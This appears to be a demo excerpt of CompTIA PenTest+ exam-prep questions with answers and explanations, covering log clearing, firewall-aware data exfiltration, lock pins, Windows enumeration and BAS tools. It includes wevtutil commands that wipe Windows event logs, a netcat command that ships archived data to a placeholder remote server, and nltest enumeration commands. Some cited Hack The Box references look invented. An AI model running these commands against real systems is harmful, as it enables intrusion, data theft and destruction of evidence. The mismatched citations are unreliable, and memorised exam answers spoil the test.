IT认证电子书

质　量　更　高　　服　务　更　好

半年免费升级服务

http://www.itrenzheng.com

Exam : **PT0-003**

Title : CompTIA PenTest+ Exam

Version : DEMO

1.During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence.
Which of the following is the best way for the penetration tester to hide the activities performed?
A. Clear the Windows event logs.
B. Modify the system time.
C. Alter the log permissions.
D. Reduce the log retention settings.
Answer: A
Explanation:
During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:
Understanding Windows Event Logs: Windows event logs are a key forensic artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.
Why Clear Windows Event Logs:
Comprehensive Coverage: Clearing the event logs removes all recorded events, including login attempts, application errors, and security alerts. This makes it difficult for an investigator to trace back the actions performed by the attacker.
Avoiding Detection: Penetration testers clear event logs to ensure that their presence and activities are not detected by system administrators or security monitoring tools. Method to Clear Event Logs:
Use the built-in Windows command line utility wevtutil to clear logs.
For example:
shell
Copy code
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
These commands clear the System, Security, and Application logs, respectively.
Alternative Options and Their Drawbacks:
Modify the System Time: Changing the system time can create confusion but is easily detectable and can be reverted. It does not erase existing log entries.
Alter Log Permissions: Changing permissions might prevent new entries but does not remove existing ones and can alert administrators to suspicious activity.
Reduce Log Retention Settings: This can limit future logs but does not affect already recorded logs and can be easily noticed by administrators.
Case Reference:
HTB Writeups: Many Hack The Box (HTB) writeups demonstrate the importance of clearing logs post-exploitation to maintain stealth. For example, in the "Gobox" and "Writeup" machines, maintaining a low profile involved managing log data to avoid detection.
Real-World Scenarios: In real-world penetration tests, attackers often clear logs to avoid detection by forensic investigators and incident response teams. This step is crucial during red team engagements and advanced persistent threat (APT) simulations.

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

2.A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement.
Given the following firewall policy:
Action | SRC
| DEST
| --
Block | 192.168.10.0/24: 1-65535 | 10.0.0.0/24: 22 | TCP
Allow | 0.0.0.0/0: 1-65535 | 192.168.10.0/24:443 | TCP
Allow | 192.168.10.0/24: 1-65535 | 0.0.0.0/0:443 | TCP
Block |. | . | *
Which of the following commands should the tester try next?
A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
B. gzip /path/to/data && cp data.gz <remote_server> 443
C. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
D. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
Answer: A
Explanation:
Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are: Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
Block: All other traffic (*).
Breakdown of Options:
Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.
Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.
Option B: gzip /path/to/data && cp data.gz <remote_server> 443
This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.
Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22
This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.
Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.
Reference from Pentest:
Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed

services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

3.Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?
A. Latches
B. Pins
C. Shackle
D. Plug
Answer: B
Explanation:
In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder.
Here's a detailed breakdown:
Components of a Pin Tumbler Lock:
Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.
Driver Pins: These are pushed by the springs and sit between the key pins and the springs.
Springs: These apply pressure to the driver pins.
Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.
Cylinder: The housing for the plug and the pins.
Operation:
When the correct key is inserted, the key pins are pushed up by the key's cuts to align with the shear line (the gap between the plug and the cylinder).
The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.
Why Pins Are the Correct Answer
The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open. Illustration in Lock Picking:
Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.

4.A penetration tester assesses an application allow list and has limited command-line access on the Windows system.
Which of the following would give the penetration tester information that could aid in continuing the test?
A. mmc.exe
B. icacls.exe
C. nltest.exe
D. rundll.exe
Answer: C
Explanation:

When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering information to aid in furthering the test. Here's an explanation for each option:
mmc.exe (Microsoft Management Console):
Primarily used for managing Windows and its services. It's not typically useful for gathering information about the system from the command line in a limited access scenario. icacls.exe:
This tool is used for modifying file and folder permissions. While useful for modifying security settings, it does not directly aid in gathering system information or enumeration. nltest.exe:
This is a powerful command-line utility for network testing and gathering information about domain controllers, trusts, and replication status. Key functionalities include: Listing domain controllers: nltest /dclist:<DomainName>
Querying domain trusts: nltest /domain_trusts
Checking secure channel: nltest /sc_query:<DomainName>
These capabilities make nltest very useful for understanding the network environment, especially in a domain context, which is essential for penetration testing.
rundll.exe:
This utility is used to run DLLs as programs. While it can be used for executing code, it does not provide direct information about the system or network environment.
Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain controllers, and trust relationships. This information is crucial for a penetration tester to plan further actions and understand the domain environment.

5.A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client's current security tools. The threat-modeling team indicates the TTPs in the list might affect their internal systems and servers.
Which of the following actions would the tester most likely take?
A. Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
B. Perform an internal vulnerability assessment with credentials to review the internal attack surface.
C. Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
D. Perform a full internal penetration test to review all the possible exploits that could affect the systems.
Answer: A
Explanation:
BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization's security defenses and response mechanisms.
Here's why option A is the best choice:
Controlled Testing Environment: BAS tools provide a controlled environment where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.
Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs, allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client's security tools comprehensively.
Feedback and Reporting: These tools provide detailed feedback and reporting on the effectiveness of

the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat-modeling team to understand the current security posture and areas for improvement.

Reference from Pentest:

Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by providing a controlled and systematic way to assess security defenses.

Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems.

Conclusion:

Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client's security tools' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.